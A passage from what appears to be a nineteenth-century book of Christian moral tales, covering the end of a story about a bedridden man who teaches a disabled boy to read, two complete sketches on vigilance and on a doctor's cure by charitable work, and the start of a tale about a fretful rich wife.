his days. He was supported by the patient industry of a wife.
"If good works are the only passport to heaven," he said to a
neighbor one day, "I fear my chances will be small."
"'Well done, good and faithful servant,' is the language of
welcome," was replied; and the neighbor looked at the sick man in a
way that made him feel a little uncomfortable.
"I am sick and bedridden--what can I do?" he spoke, fretfully.
"When little is given, little is required. But if there be only a
single talent it must be improved."
"I have no talent," said the invalid.
"Are you sure of that?"
"What can I do? Look at me! No health, no strength, no power to rise
from this bed. A poor, helpless creature, burdening my wife. Better
for me, and for all, if I were in my grave."
"If that were so you would be in your grave. But God knows best.
There is something for you to do, or you would be no longer
permitted to live," said the neighbor.
The sick man shook his head.
"As I came along just now," continued the neighbor, "I stopped to
say a word to poor Tom Hicks, the <DW36>, as he stood swinging on
the gate before his mother's house, looking so unhappy that I pitied
him in my heart. 'What do you do with yourself all through these
long days, Tom?' I asked. 'Nothing,' he replied, moodily. 'Don't you
read sometimes?' I queried. 'Can't read,' was his sullen answer.
'Were you never at school?' I went on. 'No: how can I get to
school?' 'Why don't your mother teach you?' 'Because she can't read
herself,' replied Tom. 'It isn't too late to begin now,' said I,
encouragingly; 'suppose I were to find some one willing to teach
you, what would you say?' The poor lad's face brightened as if the
sunshine had fallen upon it; and he answered, 'I would say that
nothing could please me better.' I promised to find him a teacher;
and, as I promised, the thought of you, friend Croft, came into my
mind. Now, here is something that you can do; a good work in which
you can employ your one talent."
The sick man did not respond warmly to this proposition. He had been
so long a mere recipient of good offices,--had so long felt himself
the object towards which pity and service must tend,--that he had
nearly lost the relish for good deeds. Idle dependence had made him
selfish.
"Give this poor <DW36> a lesson every day," went on the neighbor,
pressing home the subject, "and talk and read to him. Take him in
charge as one of God's children, who needs to be instructed and led
up to a higher life than the one he is now living. Is not this a
good and a great work? It is, my friend, one that God has brought to
your hand, and in the doing of which there will be great reward.
What can you do? Much! Think of that poor boy's weary life, and of
the sadder years that lie still before him. What will become of him
when his mother dies? The almshouse alone will open its doors for
the helpless one. But who can tell what resources may open before
him if stimulated by thought. Take him, then, and unlock the doors
of a mind that now sits in darkness, that sunlight may come in. To
you it will give a few hours of pleasant work each day; to him it
will be a life-long benefit. Will you do it?"
"Yes."
The sick man could not say "No," though in uttering that
half-extorted assent he manifested no warm interest in the case of
poor Tom Hicks.
On the next day the <DW36> came to the sick man, and received his
first lesson; and every day, at an appointed hour, he was in Mr.
Croft's room, eager for the instruction he received. Quickly he
mastered the alphabet, and as quickly learned to construct small
words, preparatory to combining them in a reading lesson.
After the first three or four days the sick man, who, had undertaken
this work with reluctance, began to find his heart going down into
it. Tom was so ready a scholar, so interested, and so grateful, that
Mr. Croft found the task of instructing him a real pleasure. The
neighbor, who had suggested this useful employment of the invalid's
time, looked in now and then to see how matters were progressing,
and to speak words of encouragement.
Poor Tom was seen less frequently than before hanging on the gate,
or sitting idly on the bench before his mother's dwelling; and when
you did find him there, as of old, you saw a different expression on
his face. Soon the children, who had only looked at him, half in
fear, from a distance, or come closer to the gate where he stood
gazing with his strange eyes out into the street, in order to worry
him, began to have a different feelings for the <DW36>, and one and
another stopped occasionally to speak with him; for Tom no longer
made queer faces, or looked at them wickedly, as if he would harm
them if in his power, nor retorted angrily if they said things to
worry him. And now it often happened that a little boy or girl, who
had pitied the poor <DW36>, and feared him at the same time, would
offer him a flower, or an apple, or at handful of nuts in passing to
school; and he would take these gifts thankfully, and feel better
all day in remembrance of the kindness with which they had been
bestowed. Sometimes he would risk to see their books, and his eyes
would run eagerly over the pages so far in advance of his
comprehension, yet with the hope in his heart of one day mastering
them; for he had grown all athirst for knowledge.
As soon as Tom could read, the children in the neighborhood, who had
grown to like him, and always gathered around him at the gate, when
they happened to find him there, supplied him with books; so that he
had an abundance of mental food, and now began to repay his
benefactor, the bedridden man, by reading to him for hours every
day.
The mind of Tom had some of this qualities of a sponge: it absorbed
a great deal, and, like a sponge, gave out freely at every pressure.
Whenever his mind came in contact with another mind, it must either
absorb or impart. So he was always talking or always listening when
he had anybody who would talk or listen.
There was something about him that strongly attracted the boys in
the neighborhood, and he usually had three or four of them around
him and often a dozen, late in the afternoon, when the schools were
out. As Tom had entered a new world,--the world of books,--and was
interested in all he found there, the subjects on which he talked
with the boys who sought his company were always instructive. There,
was no nonsense about the <DW36>: suffering of body and mind had
long ago made him serious; and all nonsense, or low, sensual talk,
to which boys are sometimes addicted, found no encouragement in his
presence. His influence over these boys was therefore of the best
kind. The parents of some of the children, when they found their
sons going so often to the house of Tom Hicks, felt doubts as to the
safety of such intimate intercourse with the <DW36>, towards whom
few were prepossessed, as he bore in the village the reputation of
being ill-tempered and depraved, and questioned them very closely in
regard to the nature of their intercourse. The report of these boys
took their parents by surprise; but, on investigation, it proved to
be true, and Tom's character soon rose in the public estimation.
Then came, as a natural consequence, inquiry as to the cause of such
a change in the unfortunate lad; and the neighbor of the sick man
who had instructed Tom told the story of Mr. Croft's agency in the
matter. This interested the whole town in both the <DW36> and his
bedridden instructor. The people were taken by surprise at such a
notable interest of the great good which may sometimes be done where
the means look discouragingly small. Mr. Croft was praised for his
generous conduct, and not only praised, but helped by many who had,
until now, felt indifferent, towards his case--for his good work
rebuked them for neglected opportunities.
The <DW36>'s eagerness to learn, and rapid progress under the most
limited advantages, becoming generally known, a gentleman, whose son
had been one of Tom's visitors, and who had grown to be a better boy
under his influence, offered to send him in his wagon every day to
the school-house, which stood half a mile distant, and have him
brought back in the afternoon.
It was the happiest day in Tom's life when he was helped down from
the wagon, and went hobbling into the school-room.
Before leaving home on that morning he had made his way up to the
sick room of Mr. Croft.
"I owe it all to you," he said, as he brought the white, thin hand
of his benefactor to his lips. It was damp with more than a kiss
when he laid it back gently on the bed. "And our Father in heaven
will reward you."
"You have done a good work," said the neighbor, who had urged Mr.
Croft to improve his one talent, as he sat talking with him on that
evening about the poor <DW36> and his opening prospects; "and it
will serve you in that day when the record of life is opened. Not
because of the work itself, but for the true charity which prompted
the work. It was begun, I know, in some self-denial, but that
self-denial was for another's good; and because you put away love of
ease, and indifference, and forced yourself to do kind offices,
seeing that it was right to help others, God will send a heavenly
love of doing good into your soul, which always includes a great
reward, and is the passport to eternal felicities.
"You said," continued the neighbor, "only a few months ago, 'What
can I do?' and spoke as a man who felt that he was deprived of all
the means of accomplishing good; and yet you have, with but little
effort, lifted a human soul out of the dark valley of ignorance,
where it was groping ill self-torture, and placed it on an ascending
mountain path. The light of hope has fallen, through your aid, with
sunny warmth upon a heart that was cold and barren a little while
ago, but is now green with verdure, and blossoming in the sweet
promise of fruit. The infinite years to come alone can reveal the
blessings that will flow from this one act of a bedridden man, who
felt that in him was no capacity for good deeds."
The advantages of a school being placed within the reach of Tom
Hicks, he gave up every thought to the acquirement of knowledge. And
now came a serious difficulty. His bent, stiff fingers could not be
made to hold either pen or pencil in the right position, or to use
them in such a way as to make intelligible signs. But Tom was too
much in earnest to give up on the first, or second, or third effort.
He found, after a great many trials, that he could hold a pencil
more firmly than at first, and guide his hand in some obedience to
his will. This was sufficient to encourage him to daily
long-continued efforts, the result of which was a gradual yielding
of the rigid muscles, which became in time so flexible that he could
make quite passable figures, and write a fair hand. This did not
satisfy him, however. He was ambitious to do better; and so kept on
trying and trying, until few boys in the school could give a fairer
copy.
"Have you heard the news?" said a neighbor to Mr. Croft, the poor
bedridden man. It was five years from the day he gave the poor
<DW36>, Tom Hicks, his first lesson.
"What news?" the sick man asked, in a feeble voice, not even turning
his head towards the speaker. Life's pulses were running very low.
The long struggle with disease was nearly over.
"Tom Hicks has received the appointment of teacher to our public
school."
"Are you in earnest?" There was a mingling of surprise and doubt in
the low tones that crept out upon the air.
"Yes. It is true what I say. You know that after Mr. Wilson died the
directors got Tom, who was a favorite with all the scholars, to keep
the school together for a few weeks until a successor could be
appointed. He managed so well, kept such good order, and showed
himself so capable as an instructor, that, when the election took
place to-day, he received a large majority of votes over a number of
highly-recommended teachers, and this without his having made
application for the situation, or even dreaming of such a thing."
At this moment the <DW36>'s well-known shuffling tread and the
rattle of crutches was heard on the stairs. He came up with more
than his usual hurry. Croft turned with an effort, so as to get a
sight of him as he entered the room.
"I have heard the good news," he said, as he reached a hand feebly
towards Tom, "and it has made my heart glad."
"I owe it all to you," replied the <DW36>, in a voice that trembled
with feeling. "God will reward you."
And he caught the shadowy hand, touched it with his lips, and wet it
with grateful tears, as once before. Even as he held that thin,
white hand the low-moving pulse took an lower beat--lower and
lower--until the long-suffering heart grew still, and the freed
spirit went up to its reward.
"My benefactor!" sobbed the <DW36>, as he stood by the wasted form
shrouded in grave-clothes, and looked upon it for the last time ere
the coffin-lid closed over it. "What would I have been except for
you?"
Are your opportunities for doing good few, and limited in range, to
all appearances, reader? Have you often said, like the bedridden
man, "What can I do?" Are you poor, weak, ignorant, obscure, or even
sick as he was, and shut out from contact with the busy outside
world? No matter. If you have a willing heart, good work will come
to your hands. Is there no poor, unhappy neglected one to whom you
can speak words of encouragement, or lift out of the vale of
ignorance? Think! Cast around you. You may, by a single sentence,
spoken in the right time and in the right spirit, awaken thoughts in
some dull mind that may grow into giant powers in after times,
wielded for the world's good. While you may never be able to act
directly on society to any great purpose, in consequence of mental
or physical disabilities, you may, by instruction and guidance,
prepare some other mind for useful work, which, but for your agency,
might have wasted its powers in ignorance or crime. All around us
are human souls that may be influenced. The nurse, who ministers to
you in sickness, may be hurt or helped by you; the children, who
look into your face and read it daily, who listen to your speech,
and remember what you say, will grow better or worse, according to
the spirit of your life, as it flows into them; the neglected son of
a neighbor may find in you the wise counsellor who holds him back
from vice. Indeed, you cannot pass a single day, whether your sphere
be large or small, your place exalted or lowly, without abundant
opportunities for doing good. Only the willing heart is required. As
for the harvest, that is nodding, ripe for the sickle, in every
man's field. What of that time when the Lord of the Harvest comes,
and you bind up your sheaves and lay them at his feet?
VI.
ON GUARD.
"O, MAMMA! See that wicked-looking cat on the fence! She'll have one
of those dear little rabbits in a minute!"
Mattie's sweet face grew pale with fear, and she trembled all over.
"It's only a picture, my dear," said Mattie's mother. "The cat can't
get down, and so the rabbits are safe."
"But it looks as if she could--as if she'd jump right upon the dear
little things. I wish there was a big dog, like Old Lion, there.
Wouldn't he make her fly?"
"But it's only a picture. If there was a dog there, he couldn't bark
nor spring at the cat."
"Why didn't the man who made the picture put in a dog somewhere, so
that we could see him, and know the rabbits were safe?"
"Maybe he didn't think of it," said Mattie's mother.
"I wish he had."
"Perhaps," said the mother, "he wished to teach us this lesson,
that, as there are evil and hurtful things in the world, we should
never be so entirely off of our guard as the children playing, with
the rabbits seem to be. Dear little things! How innocent and happy
they are! There is not a thought of danger in their minds. And yet,
close by them is a great cat, with cruel eyes, ready to spring upon
their harmless pets. Yes; I think the artist meant to teach a lesson
when he drew this picture."
"What lesson, mother?" asked Mattie. "O, I remember," she added
quickly. "You said that it might be to teach us never to be off of
our guard, because there are evil and hurtful things in the world."
"Yes; and that is a lesson which cannot be learned too early. Baby
begins to learn it when he touches the fire and is burnt; when he
pulls the cat too hard and she scratches him; when he runs too fast
for his little strength, and gets a fall. And children learn it when
they venture too near vicious animal and are kicked or bitten; when
they tear their clothes, or get their hands and faces scratched with
thorns and briers; when they fall from trees, or into the water, and
in many other ways that I need not mention. And men and women learn,
it very, very, often in pains and sorrows too deep for you to
comprehend."
Mattie drew a long sigh, as she stood before her mother, looking,
soberly into her face.
"I wish there wasn't anything bad in the world," she said. "Nothing
that could hurt us."
"Ah, dear child!" answered the mother, her voice echoing Mattie's
sigh, "from millions and millions of hearts that wish comes up
daily. But we have this to cheer us: if we stand on guard--if we are
watchful as well as innocent--we shall rarely get hurt. It is the
careless and the thoughtless that harm reaches."
"And so we must always be on guard," said Mattie, still looking very
sober.
"There is no other way, my child. 'On guard' is the watchword of
safety for us all, young and old. But the harm that comes from the
outside is of small account compared with the harm that comes from
within."
"From within, mother! How can harm could from within?"
"You read about the 'hawk among the birds'?"
"Yes, yes--O, now I understand what you mean! Bad thoughts and
feelings can do us harm."
"Yes; and the hurt is deeper and more deadly than any bodily harm,
for it is done to the soul. These rabbits are like good and innocent
things of the mind, and the cat like evil and cruel things. If you
do not keep watch, in some unguarded moment angry passions evil
arise and hurt or destroy your good affections; just as this cat, if
she were real, would tear or kill the tender rabbits."
"O, mother! Is it as bad as that?" said Mattie.
"Yes, my dear; just as bad as that. And when any of these good and
innocent feelings are destroyed by anger, hatred, jealousy, envy,
revenge and the like, then just so much of heavenly good dies in us
and just so far do we come under the power of what is evil and
hurtful. Then we turn aside from safe and pleasant ways and walk
among briers and thorns. Dear Mattie! consider well the lesson of
this picture, and set a watch over your heart daily. But watching is
not all. We are told in the Bible to pray as well as watch. All of
us, young and old, must do this if we would be in safety; for human
will and human effort would all be in vain to overcome evil if
divine strength did not flow into them. And unless we desire and
pray for this divine strength we cannot receive it."
VII.
A VISIT WITH THE DOCTOR.
"HOW are you to-day, Mrs. Carleton?" asked Dr. Farleigh, as he sat
down by his patient, who reclined languidly in a large cushioned
chair.
"Miserable," was the faintly spoken reply. And the word was
repeated,--"Miserable."
The doctor took one of the lady's small, white hands, on which the
network of veins, most delicately traced, spread its blue lines
everywhere beneath the transparent skin. It was a beautiful hand--a
study for a painter or sculptor. It was a soft, flexible hand--soft,
flexible, and velvety to the touch as the hand of a baby, for it was
as much a stranger to useful work. The doctor laid his fingers on
the wrist. Under the pressure he felt the pulse beat slowly and
evenly. He took out his watch and counted the beats, seventy in a
minute. There was a no fever, nor any unusual disturbance of the
system. Calmly the heart was doing its appointed work.
"How is your head, Mrs. Carleton?"
The lady moved her head from side to side two or three times.
"Anything out of the way there?"
"My head is well enough, but I feel so miserable--so weak. I haven't
the strength of a child. The least exertion exhausts me."
And the lady shut her eyes, looking the picture of feebleness.
"Have you taken the tonic, for which I left a prescription
yesterday?"
"Yes; but I'm no stronger."
"How is your appetite?"
"Bad."
"Have you taken the morning walk in the garden that I suggested?"
"O, dear, no! Walk out in the garden? I'm faint by the time I get to
the breakfast-room! I can't live at this rate, doctor. What am I to
do? Can't you build me up in some way? I'm burden to myself and
every one else."
And Mrs. Carleton really looked distressed.
"You ride out every day?"
"I did until the carriage was broken, and that was nearly a week
ago. It has been at the carriage-maker's ever since."
"You must have the fresh air, Mrs. Carleton," said the doctor,
emphatically. "Fresh air, change of scene, and exercise, are
indispensable in your case. You will die if you remain shut up after
this fashion. Come, take a ride with me."
"Doctor! How absurd!" exclaimed Mrs. Carleton, almost shocked by the
suggestion. "Ride with you! What would people think?"
"A fig for people's thoughts! Get your shawl and bonnet, and take a
drive with me. What do you care for meddlesome people's thoughts?
Come!"
The doctor knew his patient.
"But you're not in earnest, surely?" There was a half-amused twinkle
in the lady's eyes.
"Never more in earnest. I'm going to see a patient just out of the
city, and the drive will be a charming one. Nothing would please me
better than to have your company."
There was a vein of humor, and a spirit of "don't care" in Mrs.
Carleton, which had once made her independent, and almost hoydenish.
But fashionable associations, since her woman-life began, had toned
her down into exceeding propriety. Fashion and conventionality,
however, were losing their influence, since enfeebled health kept
her feet back from the world's gay places; and the doctor's
invitation to a ride found her sufficiently disenthralled to see in
it a pleasing novelty.
"I've half a mind to go," she said, smiling. She had not smiled
before since the doctor came in.
"I'll ring for your maid," and Dr. Farleigh's hand was on the
bell-rope before Mrs. Carleton had space to think twice, and
endanger a change of thought.
"I'm not sure that I am strong enough for the effort," said Mrs.
Carleton, and she laid her head back upon the cushions in a feeble
way.
"Trust me for that," replied the doctor.
The maid came in.
"Bring me a shawl and my bonnet, Alice; I am going to ride out with
the doctor." Very languidly was the sentence spoken.
"I'm afraid, doctor, it will be too much for me. You don't know how
weak I am. The very thought of such an effort exhausts me."
"Not a thought of the effort," replied Dr. Farleigh. "It isn't
that."
"What is it?"
"A thought of appearances--of what people will say."
"Now, doctor! You don't think me so weak in that direction?"
"Just so weak," was the free-spoken answer. "You fashionable people
are all afraid of each other. You haven't a spark of individuality
or true independence. No, not a spark. You are quite strong enough
to ride out in your own elegant carriage but with the doctor!--O,
dear, no! If you were certain of not meeting Mrs. McFlimsey, perhaps
the experiment might be adventured. But she is always out on fine
days."
"Doctor, for shame! How can you say that?"
And a ghost of color crept into the face of Mrs. Carleton, while her
eyes grew brighter--almost flashed.
The maid came in with shawl and bonnet. Dr. Farleigh, as we have
intimated, understood his patient, and said just two or three words
more, in a tone half contemptuous.
"Afraid of Mrs. McFlimsey!"
"Not I; nor of forty Mrs. McFlimseys!"
It was not the ghost of color that warmed Mrs. Carleton's face now,
but the crimson of a quicker and stronger heart-beat. She actually
arose from her chair without reaching for her maid's hand and stood
firmly while the shawl was adjusted and the bonnet-strings tied.
"We shall have a charming ride," said the doctor, as he crowded in
beside his fashionable lady companion, and took up the loose reins.
He noticed that she sat up erectly, and with scarcely a sign of the
languor that but a few minutes before had so oppressed her. "Lean
back when you see Mrs. McFlimsey's carriage, and draw your veil
closely. She'll never dream that it's you."
"I'll get angry if you play on that string much longer!" exclaimed
Mrs. Carleton; "what do I care for Mrs. McFlimsey?"
How charmingly the rose tints flushed her cheeks! How the light
rippled in her dark sweet eyes, that were leaden a little while
before!
Away from the noisy streets, out upon the smoothly-beaten road, and
amid green field and woodlands, gardens and flower-decked orchards,
the doctor bore his patient, holding her all the while in pleasant
talk. How different this from the listless, companionless drives
taken by the lady in her own carriage--a kind of easy, vibrating
machine, that quickened the sluggish blood no more than a cushioned
rocking chair!
Closely the doctor observed his patient. He saw how erectly she
continued to sit; how the color deepened in her face, which actually
seemed rounder and fuller; how the sense of enjoyment fairly danced
in her eyes.
Returning to the city by a different road, the doctor, after driving
through streets entirely unfamiliar to his companion, drew up his
horse before a row of mean-looking dwellings, and dropping the
reins, threw open the carriage door, and stepped upon the
pavement--at the same time reaching out his hand to Mrs. Carleton.
But she drew back, saying,--
"What is the meaning of this, doctor?"
"I have a patient here, and I want you to see her."
"O, no; excuse me, doctor. I've no taste for such things," answered
the lady.
"Come--I can't leave you alone in the carriage. Ned might take a
fancy to walk off with you."
Mrs. Carleton glanced at the patient old horse, whom the doctor was
slandering, with a slightly alarmed manner.
"Don't you think he'll stand, doctor?" she asked, uneasily.
"He likes to get home, like others of his tribe. Come;" and the
doctor held out his hand in a persistent way.
Mrs. Carleton looked at the poor tenements before which the doctor's
carriage had stopped with something of disgust and something of
apprehension.
"I can never go in there, doctor."
"Why not?"
"I might take some disease."
"Never fear. More likely to find a panacea there."
The last sentence was in an undertone.
Mrs. Carleton left the carriage, and crossing the pavement, entered
one of the houses, and passed up with the doctor to the second
story. To his light tap at a chamber door a woman's voice said,--
"Come in."
The door was pushed open, and the doctor and Mrs. Carleton went in.
The room was small, and furnished in the humblest manner, but the
air was pure, and everything looked clean and tidy. In a chair, with
a pillow pressed in at her back for a support, sat a pale, emaciated
woman, whose large, bright eyes looked up eagerly, and in a kind of
hopeful surprise, at so unexpected a visitor as the lady who came in
with the doctor. On her lap a baby was sleeping, as sweet, and pure,
and beautiful a baby as ever Mrs. Carleton had looked upon. The
first impulse of her true woman's heart, had she yielded to it,
would have prompted her to take it in her arms and cover it with
kisses.
The woman was too weak to rise from her chair, but she asked Mrs.
Carleton to be seated in a tone of lady-like self-possession that
did not escape the visitor's observation.
"How did you pass the night, Mrs. Leslie?" asked the doctor.
"About as usual," was answered, in a calm, patient way; and she even
smiled as she spoke.
"How about the pain through your side and shoulder?"
"It may have been a little easier."
"You slept?"
"Yes, sir."
"What of the night sweats?"
"I don't think they have diminished any."
The doctor beat his eyes to the floor, and sat in silence for some
time. The heart of Mrs. Carleton was opening towards--the baby and it
was a baby to make its way into any heart. She had forgotten her own
weakness--forgotten, in the presence of this wan and wasted mother,
with a sleeping cherub on her lap, all about her own invalid state.
"I will send you a new medicine," said the doctor, looking up; then
speaking to Mrs. Carleton, he added,--
"Will you sit here until I visit two or three patients in the
block?"
"O, certainly," and she reached out her arms for the baby, and
removed it so gently from its mother's lap that its soft slumber was
not broken. When the doctor returned he noticed that there had been
tears in Mrs. Carleton's eyes. She was still holding the baby, but
now resigned the quiet sleeper to its mother, kissing it as she did
so. He saw her look with a tender, meaning interest at the white,
patient face of the sick woman, and heard her say, as she spoke a
word or two in parting,--
"I shall not forget you."
"That's a sad case, doctor," remarked the lady, as she took her
place in the carriage.
"It is. But she is sweet and patient."
"I saw that, and it filled me with surprise. She tells me that her
husband died a year ago."
"Yes."
"And that she has supported herself by shirt-making."
"Yes."
"But that she had become too feeble for work, and is dependent on a
younger sister, who earns a few dollars, weekly, at book-folding."
"The simple story, I believe," said the doctor.
Mrs. Carleton was silent for most of the way home; but thought was
busy. She had seen a phase of life that touched her deeply.
"You are better for this ride," remarked the doctor, as he handed
her from the carriage.
"I think so," replied Mrs. Carleton.
"There has not been so fine a color on your face for months."
They had entered Mrs. Carleton's elegant residence, and were sitting
in one of her luxurious parlors.
"Shall I tell you why?" added the doctor.
Mrs. Carleton bowed.
"You have had some healthy heart-beats."
She did not answer.
"And I pray you, dear madam, let the strokes go on," continued Dr.
Farleigh. "Let your mind become interested in some good work, and
your hands obey your thoughts, and you will be a healthy woman, in
body and soul. Your disease is mental inaction."
Mrs. Carleton looked steadily at the doctor.
"You are in earnest," she said, in a calm, firm way.
"Wholly in earnest, ma'am. I found you, an hour ago, in so weak a
state that to lift your hand was an exhausting effort. You are
sitting erect now, with every muscle tautly strung. When will your
carriage be home?"
He asked the closing question abruptly.
"To-morrow," was replied.
"Then I will not call for you, but--"
He hesitated.
"Say on, doctor."
"Will you take my prescription?"
"Yes." There was no hesitation.
"You must give that sick woman a ride into the country. The fresh,
pure, blossom-sweet air will do her good--may, indeed, turn the
balance of health in her favor. Don't be afraid of Mrs. McFlimsey."
"For shame, doctor! But you are too late in your suggestion. I'm
quite ahead of you."
"Ah! in what respect?"
"That drive into the country is already a settled thing. Do you
know, I'm in love with that baby?"
"Othello's occupation's gone, I see!" returned the doctor, rising.
"But I may visit you occasionally as a friend, I presume, if not as
a medical adviser?"
"As my best friend, always," said Mrs. Carleton, with feeling. "You
have led me out of myself, and showed me the way to health and
happiness; and I have settled the question as to my future. It shall
not be as the past."
And it was not.
VIII.
HADN'T TIME FOR TROUBLE.
MRS. CALDWELL was so unfortunate as to have a rich husband. Not that
the possession of a rich husband is to be declared a misfortune,
_per se_, but, considering the temperament of Mrs. Caldwell, the
fact was against her happiness, and therefore is to be regarded,
taking the ordinary significance, of the term, as unfortunate.
Wealth gave Mrs. Caldwell leisure for ease and luxurious
self-indulgence, and she accepted the privileges of her condition.
Some minds, when not under the spur, sink naturally into, a state of
inertia, from which, when any touch of the spur reaches them, they
spring up with signs of fretfulness. The wife and mother, no matter
what her condition, who yields to this inertia, cannot escape the
spur. Children and servant, excepting all other causes, will not
spare the pricking heel.
Mrs. Caldwell was, by nature, a kind-hearted woman, and not lacking
in good sense. But for the misfortune of having a rich husband, she
might have spent an active, useful, happy life. It was the
opportunity which abundance gave for idleness and ease that marred
everything. Order in a household, and discipline among children, do
not come spontaneously. They are the result of wise forecast, and
patient, untiring, never-relaxing effort. A mere conviction of duty
is rarely found to be sufficient incentive; there must be the
impelling force of some strong-handed necessity. In the case of Mrs.
Caldwell, this did not exist; and so she failed in the creation of
that order in her family without which permanent tranquillity is
impossible. In all lives are instructive episodes, and interesting
as instructive. Let us take one of them from the life of this lady,
whose chief misfortune was in being rich.
Mrs. Caldwell's brow was clouded. It was never, for a very long
time, free from, clouds, for it seemed as if all sources of worry
and vexation were on the increase; and, to make matters worse,
patience was assuredly on the decline. Little things, once scarcely
observed, now give sharp annoyance, there being rarely any
discrimination and whether they were of accident, neglect, or
wilfulness.
"Phoebe!" she called, fretfully.
The voice of her daughter answered, half-indifferently, from the
next room.
"Why don't you come when I call you?" Anger now mingled with
fretfulness.
The face of a girl in her seventeenth year, on which sat no very
amiable expression, was presented at the door.
"Is that your opera cloak lying across the chair, and partly on the
floor?"
Phoebe, without answering, crossed the room, and catching up the
garment with as little carefulness as if it had been an old shawl
threw it across her arm, and was retiring, when her mother said,
sharply,--
"Just see how you are rumpling that cloak! What do you mean?"
"I'm not hurting the cloak, mother," answered Phoebe, coolly. Then,
with a shade of reproof, she added, "You fret yourself for nothing."
"Do you call it nothing to abuse an elegant garment like that?"
demanded Mrs. Caldwell. "To throw it upon the floor, and tumble it
about as if it were an old rag?"
"All of which, mother mine, I have not done." And the girl tossed
her head with an air of light indifference.
"Don't talk to me in that way, Phoebe! I'll not suffer it. You are
forgetting yourself." The mother spoke with a sternness of manner
that caused her daughter to remain silent. As they stood looking at
each other, Mrs. Caldwell said, in a changed voice,--
"What is that on your front tooth?"
"A speck of something, I don't know what; I noticed it only
yesterday."
Mrs. Caldwell crossed the room hastily, with a disturbed manner,
and catching hold of Phoebe's arm, drew her to a window.
"Let me see!" and she looked narrowly at the tooth, "Decay, as I
live!" The last sentence was uttered in a tone of alarm. "You must
go to the dentist immediately. This is dreadful! If your teeth are
beginning to fail now, you'll not have one left in your head by the
time you're twenty-five."
"It's only a speck," said Phoebe, evincing little concern.
"A speck! I And do you know what a speck means?" demanded Mrs.
Caldwell, with no chance in the troubled expression of her face.
"What does it mean?" asked Phoebe.
"Why, it means that the quality of your teeth is not good. One speck
is only the herald of another. Next week a second tooth may show
signs of decay, and a third in the week afterwards. Dear--dear! This
is too bad! The fact is, you are destroying your health. I've talked
and talked about the way you devour candies and sweetmeats; about
the way you sit up at night, and about a hundred other irregularities.
There must be a change in all. This, Phoebe, as I've told you dozens
and dozens of times."
Mrs. Caldwell was growing more and more excited.
"Mother! mother!" replied Phoebe, "don't fret yourself for nothing.
The speck can be removed in an instant."
"But the enamel is destroyed! Don't you see that? Decay will go on."
"I don't believe that follows at all," answered Phoebe, tossing her
head, indifferently, "And even if I believed in the worst, I'd find
more comfort in laughing than crying." And she ran off to her own
room.
Poor Mrs. Caldwell sat down to brood over this new trouble; and as
she brooded, fancy wrought for her the most unpleasing images.
She saw the beauty of Phoebe, a few years later in life, most sadly
marred by broken or discolored teeth. Looking at that, and that
alone, it magnified itself into a calamity, grew to an evil which
overshadowed everything.
She was still tormenting herself about the prospect of Phoebe's loss
of teeth, when, in passing through her elegantly-furnished parlors,
her eyes fell on a pale acid stain, about the size of a shilling
piece, one of the rich figures in the carpet. The color of this
figure was maroon, and the stain, in consequence, distinct; at
least, it became very distinct to her eye as they dwelt upon it as
if held there by a kind of fascination.
Indeed, for a while, Mrs. Caldwell could see nothing else but this
spot on the carpet; no, not even though she turned her eyes in
various directions, the retina keeping that image to the exclusion
of all others.
While yet in the gall of this new bitterness, Mrs. Caldwell heard a
carriage stop in front of the house, and, glancing through the
window, saw that it was on the opposite side of the street. She knew
it to be the carriage of a lady whose rank made her favor a
desirable thing to all who were emulous of social distinction. To be
of her set was a coveted honor. For her friend and neighbor
opposite, Mrs. Caldwell did not feel the highest regard; and it
rather hurt her to see the first call made in that quarter, instead
of upon herself. It was no very agreeable thought, that this
lady-queen of fashion, so much courted and regarded, might really
think most highly of her neighbor opposite. To be second to her,
touched the quick of pride, and hurt.
Only a card was left. Then the lady reentered her carriage. What?
Driving away? Even so. Mrs. Caldwell was not even honored by a call!
This was penetrating the quick. What could it mean? Was she to be
ruled out of this lady's set? The thought was like a wounding arrow
to her soul.
Unhappy Mrs. Caldwell! Her daughter's careless habits; the warning
sign of decay among her pearly teeth; the stain on a beautiful
carpet, and, worse than all as a pain-giver, this slight from a
magnate of fashion;--were not these enough to cast a gloom over the
state of a woman who had everything towards happiness that wealth
and social station could give, but did not know how to extract from
them the blessing they had power to bestow? Slowly, and with
oppressed feelings, she left the parlors, and went up stairs. Half
an hour later, as she sat alone, engaged in the miserable work of
weaving out of the lightest material a very pall of shadows for her
soul, a servant came to the door, and announced a visitor. It was an
intimate friend, whom she could not refuse to see--a lady named Mrs.
Bland.
"How are you, Mrs. Caldwell?" said the visitor, as the two ladies
met.
"Miserable," was answered. And not even the ghost of a smile played
over the unhappy face.
"Are you sick?" asked Mrs. Bland, showing some concern.
"No, not exactly sick. But, somehow or other, I'm in a worry about
things all the while. I can't move a step in any direction without
coming against the pricks. It seems as though all things were
conspiring against me."
And then Mrs. Caldwell went, with her friend, through the whole
series of her morning troubles, ending with the sentence,--
"Now, don't you think I am beset? Why, Mrs. Bland, I'm in a
purgatory."
"A purgatory of your own creating, my friend," answered Mrs. Bland
with the plainness of speech warranted by the intimacy of their
friendship; "and my advice is to come out of it as quickly as
possible."
"Come out of it! That is easily said. Will you show me the way?"
"At some other time perhaps. But this morning I have something else
on hand. I've called for you to go with me on an errand of mercy."
There was no Christian response in the face of Mrs. Caldwell. She
was too deep amid the gloom of her own, wretched state to have
sympathy for others.
"Mary Brady is in trouble," said Mrs. Bland.
"What has happened?" Mrs. Caldwell was alive with interest in a
moment.
"Her husband fell through a hatchway yesterday, and came near being
killed."
"Mrs. Bland!"
"The escape was miraculous."
"Is he badly injured?"
"A leg and two ribs broken. Nothing more, I believe. But that is a
very serious thing, especially where the man's labor is his family's
sole dependence."
"Poor Mary!" said Mrs. Caldwell, in real sympathy. "In what a
dreadful state she must be! I pity her from the bottom of my heart."
"Put on your things, and let us go and see her at once."
Now, it is never a pleasant thing for persons like Mrs. Caldwell to
look other people's troubles directly in the face. It is bad enough
to dwell among their own pains and annoyances, and they shrink from
meddling with another's griefs. But, in the present case, Mrs.
Caldwell, moved by a sense of duty and a feeling of interest in Mrs.
Brady, who had, years before, been a faithful domestic in her
mother's house, was, constrained to overcome all reluctance, and
join her friend in the proposed visit of mercy.
"Poor Mary! What a state she must be in!"
Three or four times did Mrs. Caldwell repeat this sentence, as they
walked towards that part of the town in which Mrs. Brady resided.
"It makes me sick, at heart to think of it," she added.
At last they stood at the door of a small brick house, in a narrow
street, and knocked. Mrs. Caldwell dreaded to enter, and even shrank
a little behind her friend when she heard a hand on the lock. It was
Mary who opened the door--Mary Brady, with scarcely a sign of change
